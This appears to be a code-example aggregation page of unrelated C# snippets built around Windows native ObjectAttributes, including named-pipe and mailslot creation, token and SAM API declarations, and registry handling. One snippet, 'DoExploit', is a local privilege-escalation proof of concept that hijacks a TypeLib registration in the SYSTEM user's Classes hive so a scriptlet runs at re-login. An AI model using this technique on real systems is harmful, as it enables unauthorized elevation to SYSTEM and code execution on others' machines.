                    // add the nodes.
                    foreach (Node nodeToAdd in nodesToAdd)
                    {               
                        AddNode(nodeToAdd);
                    }
                }

                // return the new node id.
                return node.NodeId;
            }
            finally
            {
                m_lock.Exit();
            } 
        }        
Example #40
0
 /// <summary>
 /// Method to create an object from a set of object attributes.
 /// </summary>
 /// <param name="obj_attributes">The object attributes to create/open from.</param>
 /// <returns>The newly created object.</returns>
 protected override object CreateObject(ObjectAttributes obj_attributes)
 {
     return(NtFile.Create(obj_attributes, Access, Attributes, ShareMode, Options, Disposition, EaBuffer));
 }
 public NodeId CreateObject(
     NodeId parentId,
     NodeId referenceTypeId,
     NodeId nodeId,
     QualifiedName browseName,
     ObjectAttributes attributes,
     ExpandedNodeId typeDefinitionId)
 {
     return null;
 }
Example #42
0
 /// <summary>
 /// Method to create an object from a set of object attributes.
 /// </summary>
 /// <param name="obj_attributes">The object attributes to create/open from.</param>
 /// <returns>The newly created object.</returns>
 protected override object CreateObject(ObjectAttributes obj_attributes)
 {
     return(NtFile.CreateNamedPipe(obj_attributes, Access, ShareMode, Options, FileDisposition.Open, NamedPipeType.Bytestream,
                                   NamedPipeReadMode.ByteStream, NamedPipeCompletionMode.CompleteOperation, 0, 0, 0, NtWaitTimeout.FromMilliseconds(0)));
 }
Example #43
0
 public static extern int NtDuplicateToken(
     IntPtr ExistingTokenHandle,
     GenericAccessRights DesiredAccess,
     ObjectAttributes ObjectAttributes,
     bool EffectiveOnly,
     TokenType TokenType,
     out IntPtr NewTokenHandle
     );
Example #44
0
 /// <summary>
 /// Method to create an object from a set of object attributes.
 /// </summary>
 /// <param name="obj_attributes">The object attributes to create/open from.</param>
 /// <returns>The newly created object.</returns>
 protected override object CreateObject(ObjectAttributes obj_attributes)
 {
     return(NtFile.CreateNamedPipe(obj_attributes, Access, ShareMode, Options, Disposition, PipeType,
                                   ReadMode, CompletionMode, UnlimitedInstances ? -1 : MaximumInstances, InputQuota, OutputQuota, NtWaitTimeout.FromMilliseconds(DefaultTimeoutMs)));
 }
Example #45
0
        static void DoExploit()
        {
            Console.WriteLine("{0}", Assembly.GetCallingAssembly().Location);
              Tuple<EventWaitHandle, EventWaitHandle> events = GetEvents();

              string cmdline = String.Format(@"""{0}"" {1}",
            Assembly.GetCallingAssembly().Location.Replace('\\', '/'), Process.GetCurrentProcess().SessionId);
              string scriptlet_path = Path.GetFullPath("dummy.sct");
              File.WriteAllText(scriptlet_path, scriptlet_code.Replace("%CMDLINE%", cmdline), Encoding.ASCII);
              Console.WriteLine("{0}", scriptlet_path);
              string scriptlet_url = "script:" + new Uri(scriptlet_path).AbsoluteUri;
              Console.WriteLine("{0}", scriptlet_url);
              string reg_name = @"\Registry\User\S-1-5-18_Classes";
              string path = @"\??\" + Path.GetFullPath("dummy.hiv");
              File.Delete("dummy.hiv");
              ObjectAttributes KeyName = new ObjectAttributes(reg_name);
              ObjectAttributes FileName = new ObjectAttributes(path);
              SafeRegistryHandle keyHandle;

              StatusToNtException(NtLoadKeyEx(KeyName,
            FileName, LoadKeyFlags.AppKey, IntPtr.Zero,
            IntPtr.Zero, GenericAccessRights.GenericAll, out keyHandle, 0));

              RegistryKey key = RegistryKey.FromHandle(keyHandle);
              RegistryKey typelib_key = key.CreateSubKey("TypeLib").CreateSubKey("{D597DEED-5B9F-11D1-8DD2-00AA004ABD5E}").CreateSubKey("2.0").CreateSubKey("0");
              typelib_key.CreateSubKey("win32").SetValue(null, scriptlet_url);
              typelib_key.CreateSubKey("win64").SetValue(null, scriptlet_url);

              Console.WriteLine("Handle: {0} - Key {1} - Path {2}", keyHandle.DangerousGetHandle(), reg_name, path);
              Console.WriteLine("Lock screen and re-login.");
              LockWorkStation();
              events.Item1.WaitOne();
              typelib_key.DeleteSubKey("win32");
              typelib_key.DeleteSubKey("win64");
              File.Delete(scriptlet_path);
              typelib_key.Close();
              key.Close();
              events.Item2.Set();
        }
Example #46
0
 /// <summary>
 /// Method to create an object from a set of object attributes.
 /// </summary>
 /// <param name="obj_attributes">The object attributes to create/open from.</param>
 /// <returns>The newly created object.</returns>
 protected override object CreateObject(ObjectAttributes obj_attributes)
 {
     return(NtFile.CreateMailslot(obj_attributes, Access, Options,
                                  MaximumMessageSize, MailslotQuota, DefaultTimeoutMs));
 }
Example #47
0
        public static NativeHandle OpenObject(int access, string name, ObjectFlags objectFlags, NativeHandle rootDirectory)
        {
            ObjectAttributes oa = new ObjectAttributes(name, objectFlags, rootDirectory);

            try
            {
                return new NativeHandle(KProcessHacker.Instance.KphOpenNamedObject(access, oa).ToIntPtr(), true);
            }
            finally
            {
                oa.Dispose();
            }
        }
 internal static extern NtStatus SamConnect(
     UnicodeString ServerName,
     out SafeSamHandle ServerHandle,
     AccessMask DesiredAccess,
     ObjectAttributes ObjectAttributes
     );